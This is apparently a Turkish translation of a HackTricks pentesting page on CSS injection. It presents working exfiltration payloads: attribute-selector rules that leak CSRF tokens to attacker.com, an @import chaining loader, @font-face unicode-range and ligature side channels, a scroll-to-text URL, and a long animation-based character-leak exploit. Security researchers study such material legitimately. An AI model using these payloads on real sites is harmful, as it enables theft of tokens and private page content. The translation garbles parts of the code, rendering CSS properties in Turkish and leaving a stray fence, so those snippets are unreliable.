CSS Injection

AWS hackleme konusunda sıfırdan kahramana kadar öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'ı desteklemenin diğer yolları:

Try Hard Güvenlik Grubu


CSS Enjeksiyonu

Öznitelik Seçici

CSS seçicileri, bir input elementinin name ve value özniteliklerinin değerlerini eşleştirmek üzere oluşturulmuştur. Eğer input elementinin value özniteliği belirli bir karakterle başlıyorsa, önceden tanımlanmış harici bir kaynak yüklenir:

input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}

Gizli Elemanlar için Atlatma

Bu kısıtlamayı atlatmak için, ~ genel kardeş kombinatörünü kullanarak bir sonraki kardeş elemana hedef alabilirsiniz. CSS kuralı daha sonra gizli giriş elemanını takip eden tüm kardeşlere uygulanır, arka plan resminin yüklenmesine neden olur:

input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

CSS Enjeksiyonu için Ön Koşullar

CSS Enjeksiyonu tekniğini etkili bir şekilde kullanabilmek için belirli koşulların sağlanması gerekmektedir:

  1. Yük Uzunluğu: CSS enjeksiyon vektörü, oluşturulan seçicileri içerecek kadar uzun yükleri desteklemelidir.

  2. CSS Yeniden Değerlendirme: Sayfayı çerçevelemek için yetkinizin olması gerekmektedir, bu da CSS'nin yeniden oluşturulan yüklerle tekrar değerlendirilmesini tetiklemek için gereklidir.

  3. Harici Kaynaklar: Teknik, harici barındırılan görüntüleri kullanma yeteneğini varsayar. Bu, sitenin İçerik Güvenlik Politikası (CSP) tarafından kısıtlanmış olabilir.

Kör Öznitelik Seçici

Bu yazıda açıklandığı gibi, :has ve :not seçicilerini birleştirerek kör öğelerden bile içeriği tanımlamak mümkündür. Bu, CSS enjeksiyonu yapan web sayfasındaki içeriğin ne olduğu hakkında hiçbir fikriniz olmadığında çok yararlıdır. Ayrıca, aynı türden birkaç bloktan bilgi çıkarmak için bu seçicileri kullanmak da mümkündür:

<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>

Bu, @import tekniği ile birleştirildiğinde, blind-css-exfiltration** ile kör sayfalardan CSS enjeksiyonu kullanarak birçok bilgiyi dışarı çıkarmak mümkündür.**

@import

Önceki teknik bazı dezavantajlara sahiptir, önkoşulları kontrol edin. Kurban'a birden fazla bağlantı gönderebilme yeteneğine sahip olmanız gerekir veya CSS enjeksiyonu açığı olan sayfayı iframe ile gömebilmeniz gerekir.

Ancak, teknik kalitesini artırmak için CSS @import kullanan başka bir akıllı teknik vardır.

Bu ilk kez Pepe Vila tarafından gösterildi ve şöyle çalışır:

Önceki gibi aynı sayfayı defalarca farklı yüklerle yüklemek yerine, sayfayı sadece bir kez yükleyip sadece saldırganın sunucusuna bir import ile yükleyeceğiz (bu, kurban'a gönderilecek payload'tır):

@import url('//attacker.com:5001/start?');
  1. Saldırganlar tarafından bazı CSS betikleri alacak ve tarayıcı bunları yükleyecek.

  2. Saldırganın göndereceği CSS betiğinin ilk kısmı, saldırganın sunucusuna başka bir @import olacak.

  3. Saldırganın sunucusu henüz bu isteği yanıtlamayacak, çünkü bazı karakterleri sızdırmak ve ardından bu ithalatı yanıtlamak için bir payload ile sızdırmak istiyoruz.

  4. Payload'ın ikinci ve daha büyük kısmı, bir özellik seçici sızıntı payloadı olacak.

  5. Bu, saldırganın sunucusuna sırrın ilk ve son karakterini gönderecek.

  6. Saldırganın sunucusu, sırrın ilk ve son karakterini aldığında, adımda 2 istenen ithalatı yanıtlayacak.

  7. Yanıt, adımlar 2, 3 ve 4 ile tam olarak aynı olacak, ancak bu sefer sırrın ikinci karakterini ve ardından sondan bir öncekini bulmaya çalışacak.

Saldırgan, sırrı tamamen sızdırmayı başarana kadar bu döngüyü takip edecek.

Orijinal Pepe Vila'nın bu açığı sömürmek için yazdığı kodu buradan bulabilirsiniz veya neredeyse aynı kodun yorumlanmış halini buradan bulabilirsiniz.

Betik, başlangıçtan ve sondan 2 karakter keşfetmeye çalışacak çünkü özellik seçicisi şunları yapmaya izin verir:

/* value^=  to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}

/* value$=  to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}

Bu, betiğin sırrı daha hızlı sızdırmasına izin verir.

Bazen betik, keşfedilen önek + sonek'in zaten tam bayrağı olduğunu doğru bir şekilde algılamaz ve ileriye (önek içinde) ve geriye (sonek içinde) devam eder ve bir noktada takılır. Endişelenmeyin, sadece çıktıyı kontrol edin çünkü bayrağı orada görebilirsiniz.

Diğer seçiciler

CSS seçicileri ile DOM parçalarına erişmenin diğer yolları:

  • .class-to-search:nth-child(2): Bu, DOM'da "class-to-search" sınıfına sahip ikinci öğeyi arayacaktır.

  • :empty seçici: Örneğin bu yazıda** kullanılır:**

[role^="img"][aria-label="1"]:empty { background-image: url("SUNUCU_URL'NİZ?1"); }

Referans: CSS tabanlı Saldırı: @font-face'in unicode-range'ini kötüye kullanma , Hata Tabanlı XS-Search PoC by @terjanq

Genel amaç, kontrollü bir uç noktadan özel bir yazı tipi kullanmak ve belirtilen kaynak (favicon.ico) yüklenemiyorsa metnin (bu durumda 'A') yalnızca bu yazı tipi ile görüntülenmesini sağlamaktır.

<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}

#poc0{
font-family: 'poc';
}

</style>
</head>
<body>

<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Özel Font Kullanımı:

  • Özel bir font, <head> bölümünde <style> etiketi içinde @font-face kuralı kullanılarak tanımlanır.

  • Font poc adını taşır ve dış bir uç noktadan (http://attacker.com/?leak) alınır.

  • unicode-range özelliği, belirli Unicode karakteri 'A' hedefleyen U+0041 olarak ayarlanmıştır.

  1. Yedek Metin ile Obje Elemanı:

  • <body> bölümünde id="poc0" özelliğine sahip bir <object> elemanı oluşturulur. Bu eleman, http://192.168.0.1/favicon.ico adresinden bir kaynağı yüklemeye çalışır.

  • Bu eleman için font-family özelliği, <style> bölümünde tanımlandığı gibi 'poc' olarak ayarlanmıştır.

  • Kaynak (favicon.ico) yüklenemezse, <object> etiketi içindeki yedek içerik (harf 'A') görüntülenir.

  • Dış kaynak yüklenemezse, yedek içerik ('A'), özel font olan poc kullanılarak oluşturulur.

Metin Parçasına Kaydırma Stili

:target yalancı-sınıfı, bir URL parçası tarafından hedeflenen bir elemanı seçmek için kullanılır, CSS Seçiciler Seviye 4 spesifikasyonunda belirtildiği gibi. ::target-text'in, metin açıkça parça tarafından hedeflenmediği sürece herhangi bir elemanla eşleşmediği önemlidir.

Güvenlik endişesi, saldırganların HTML enjeksiyonu aracılığıyla kendi sunucularından bir kaynağı yükleyerek web sayfasında belirli metnin varlığını doğrulamalarına izin veren Metne Kaydırma parçası özelliğini istismar ettiğinde ortaya çıkar. Bu yöntem, şu gibi bir CSS kuralının enjekte edilmesini içerir:

:target::before { content : url(target.png) }

Bu tür senaryolarda, sayfada "Yönetici" metni bulunuyorsa, metnin varlığını gösteren target.png kaynağı sunucudan istenir. Bu saldırının bir örneği, enjekte edilmiş CSS'yi ve bir Scroll-to-text parçasını içeren özel olarak oluşturulmuş bir URL aracılığıyla gerçekleştirilebilir:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

İşte saldırı, CSS kodunu iletmek için HTML enjeksiyonunu manipüle eder ve Scroll-to-text parçası (#:~:text=Administrator) aracılığıyla belirli metin "Yönetici" hedeflenir. Metin bulunursa, belirtilen kaynak yüklenir ve yanlışlıkla varlığını saldırganın fark etmesine neden olur.

Hafifletme için aşağıdaki noktalara dikkat edilmelidir:

  1. Kısıtlanmış STTF Eşleşmesi: Scroll-to-text Fragment (STTF), yalnızca kelimeleri veya cümleleri eşleştirmek üzere tasarlanmıştır, bu da keyfi sırları veya belirteçleri sızdırma yeteneğini sınırlar.

  2. Üst Düzey Göz Atma Bağlamlarına Kısıtlama: STTF yalnızca üst düzey göz atma bağlamlarında çalışır ve iframeler içinde işlev görmez, bu da herhangi bir sömürü girişimini kullanıcıya daha fark edilir hale getirir.

  3. Kullanıcı Etkinleştirme Gerekliliği: STTF, işlem yapmak için bir kullanıcı etkinleştirme jesti gerektirir, bu da sömürülerin yalnızca kullanıcı tarafından başlatılan gezinmeler aracılığıyla mümkün olduğu anlamına gelir. Bu gereklilik, saldırıların kullanıcı etkileşimi olmadan otomatikleştirilmesinin riskini önemli ölçüde azaltır. Bununla birlikte, blog yazısının yazarı, saldırının otomasyonunu kolaylaştırabilecek belirli koşullar ve bypass'lar (örneğin, sosyal mühendislik, yaygın tarayıcı uzantılarıyla etkileşim) konusunda belirli koşullar ve bypass'lar (örneğin, sosyal mühendislik, yaygın tarayıcı uzantılarıyla etkileşim) belirtir.

Bu mekanizmaların ve potansiyel zayıflıkların farkında olmak, web güvenliğini sürdürmek ve bu tür sömürücü taktiklere karşı korunmak için önemlidir.

Daha fazla bilgi için orijinal raporu kontrol edebilirsiniz: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Bu tekniği kullanan bir CTF için bir sömürü örneğini buradan kontrol edebilirsiniz.

@font-face / unicode-range

Örneğin, sayfada bulunan belirli unicode değerleri için harici yazı tipleri belirleyebilirsiniz ve yalnızca bu unicode değerleri varsa toplanacaklardır:

<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>

<p id="sensitive-information">AB</p>htm

Bu sayfaya eriştiğinizde, Chrome ve Firefox, hassas-bilgi metninin "A" ve "B" karakterlerini içermesinden dolayı "?A" ve "?B" alır. Ancak Chrome ve Firefox, "C" içermediği için "?C" alımaz. Bu, "A" ve "B" okuyabildiğimizi gösterir.

Metin düğümü sızdırma (I): ligatürler

Referans: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

Anlatılan teknik, font ligatürlerini sömürerek bir düğümden metin çıkarmayı ve genişlik değişikliklerini izlemeyi içerir. Süreç birkaç adımdan oluşur:

  1. Özel Fontların Oluşturulması:

  • SVG fontlar, iki karakter dizisini temsil eden bir glif için geniş bir genişlik belirleyen horiz-adv-x özniteliğine sahip gliflerle oluşturulur.

  • Örnek SVG glif: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, burada "XY" iki karakter dizisini belirtir.

  • Bu fontlar daha sonra fontforge kullanılarak woff formatına dönüştürülür.

  1. Genişlik Değişikliklerinin Algılanması:

  • Metnin kaymamasını sağlamak için CSS kullanılır (white-space: nowrap) ve kaydırma çubuğu stili özelleştirilir.

  • Belirgin bir şekilde biçimlendirilmiş yatay bir kaydırma çubuğunun görünmesi, belirli bir ligatürün ve dolayısıyla belirli bir karakter dizisinin metinde bulunduğunu gösteren bir gösterge (oracle) olarak hareket eder.

  • İlgili CSS:

body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
  1. Sömürü Süreci:

  • Adım 1: Geniş birlikte karakterler için fontlar oluşturulur.

  • Adım 2: Büyük genişlikli glifin (karakter çifti için ligatür) render edildiğinde algılamak için bir kaydırma çubuğu tabanlı bir hile kullanılır, bu karakter dizisinin varlığını gösterir.

  • Adım 3: Bir ligatür algılandığında, algılanan çifti içeren ve önceki veya sonraki bir karakter ekleyen üç karakterlik diziyi temsil eden yeni glifler oluşturulur.

  • Adım 4: Üç karakterlik ligatürün algılanması gerçekleştirilir.

  • Adım 5: Süreç tekrarlanarak tüm metin aşamalı olarak ortaya çıkarılır.

  1. Optimizasyon:

  • Mevcut başlatma yöntemi <meta refresh=... kullanılarak optimal değildir.

  • Daha verimli bir yaklaşım, sömürünün performansını artıran CSS @import hilesini içerebilir.

Metin düğümü sızdırma (II): varsayılan bir font ile karakter kümesinin sızdırılması (harici varlıklara gerek yok)

Referans: PoC using Comic Sans by @Cgvwzq & @Terjanq

Bu hile, bu Slackers konusunda yayınlandı. Bir metin düğümünde kullanılan karakter kümesi, tarayıcıda yüklü olan varsayılan fontlar kullanılarak sızdırılabilir: harici -veya özel- fontlara gerek yoktur.

Kavram, bir animasyon kullanarak bir div'in genişliğini aşamalı olarak genişletmeyi ve bir karakterin 'sonek' kısmından 'önek' kısmına geçmesine izin vererek metni iki bölüme bölmeyi içerir. Bu süreç, metni iki bölüme böler:

  1. Önek: İlk satır.

  2. Sonek: Sonraki satır(lar).

Karakterlerin geçiş aşamaları şu şekilde görünür:

C ADB

CA DB

CAD B

CADB

Bu geçiş sırasında, her yeni karakterin öne katılmasıyla unicode-range hilesi kullanılır. Bu, fontu Comic Sans'a değiştirerek gerçekleştirilir, bu da varsayılan fonttan belirgin şekilde daha uzun olan Comic Sans'ın dikey bir kaydırma çubuğunu tetiklemesine neden olur. Bu kaydırma çubuğunun görünümü, dolaylı olarak önek kısmında yeni bir karakterin varlığını ortaya çıkarır.

Bu yöntem, karakterlerin ortaya çıktığı şekilde benzersiz karakterlerin tespitine izin verir, ancak yinelenen hangi karakterin olduğunu belirtmez, yalnızca bir tekrarın gerçekleştiğini gösterir.

Temelde, unicode-range, bir karakteri tespit etmek için kullanılır, ancak harici bir font yüklemek istemediğimiz için başka bir yol bulmamız gerekiyor. Char bulunduğunda, ona önceden yüklenmiş Comic Sans fontu verilir, bu da karakteri büyütür ve bir kaydırma çubuğu tetikler, böylece bulunan karakteri sızdırır.

PoC'dan çıkarılan kodu kontrol edin:

/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
```css
5% { genişlik: 120px }
6% { genişlik: 140px }
7% { genişlik: 0px }
}

div::-webkit-scrollbar {
arka plan: mavi;
}

/* yan kanal */
div::-webkit-scrollbar:dikey {
arka plan: mavi var(--sızıntı);
}

Metin düğümü sızdırma (III): varsayılan bir yazı tipi ile karakter kümesini sızdırma, öğeleri gizleyerek (harici varlıklara ihtiyaç duymaz)

Referans: Bu, bu yazıda başarısız bir çözüm olarak belirtilmiştir

Bu durum, önceki duruma çok benzer, ancak bu durumda belirli **karakterlerin diğerlerinden daha büyük olmasının amacı, bir düğmeye basılmaması gereken bir bot veya yüklenmeyen bir resim gibi bir şeyi gizlemektir. Bu nedenle, eylemi (veya eylemin olmamasını) ölçebilir ve belirli bir karakterin metin içinde var olup olmadığını bilebiliriz.

Metin düğümü sızdırma (III): önbellek zamanlaması ile karakter kümesini sızdırma (harici varlıklara ihtiyaç duymaz)

Referans: Bu, bu yazıda başarısız bir çözüm olarak belirtilmiştir

Bu durumda, metinde bir karakterin olup olmadığını sızdırmayı deneyebiliriz, aynı kökten sahte bir yazı tipi yükleyerek:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

Eşleşme varsa, font /static/bootstrap.min.css?q=1 adresinden yüklenecektir. Başarılı bir şekilde yüklenmese de, tarayıcı bunu önbelleğe almalı, ve önbellek olmasa bile, 304 not modified mekanizması bulunmaktadır, böylece yanıt diğer şeylerden daha hızlı olmalıdır.

Ancak, önbelleğe alınan yanıt ile alınmayan yanıt arasındaki zaman farkı yeterince büyük değilse, bu faydalı olmayacaktır. Örneğin, yazar şunu belirtti: Ancak, test ettikten sonra, ilk sorunun hızın çok farklı olmadığı ve ikinci sorunun botun gerçekten düşünceli olan disk-cache-size=1 bayrağını kullandığıdır.

Metin düğümü sızdırma (III): yüzlerce yerel "font" yükleyerek karakter kümesini zamanlayarak sızdırma (harici varlıklara ihtiyaç duymaz)

Referans: Bu, bu yazıda başarısız bir çözüm olarak belirtilmiştir

Bu durumda, eşleşme gerçekleştiğinde aynı kökten yüzlerce sahte font yüklemesi için CSS belirtebilirsiniz. Bu şekilde ne kadar zaman aldığını ölçebilir ve bir karakterin görünüp görünmediğini şöyle bulabilirsiniz:

@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

Ve botun kodu şöyle görünüyor:

browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

Referanslar

Try Hard Security Group

AWS hacklemeyi sıfırdan kahraman olmaya öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları:

Last updated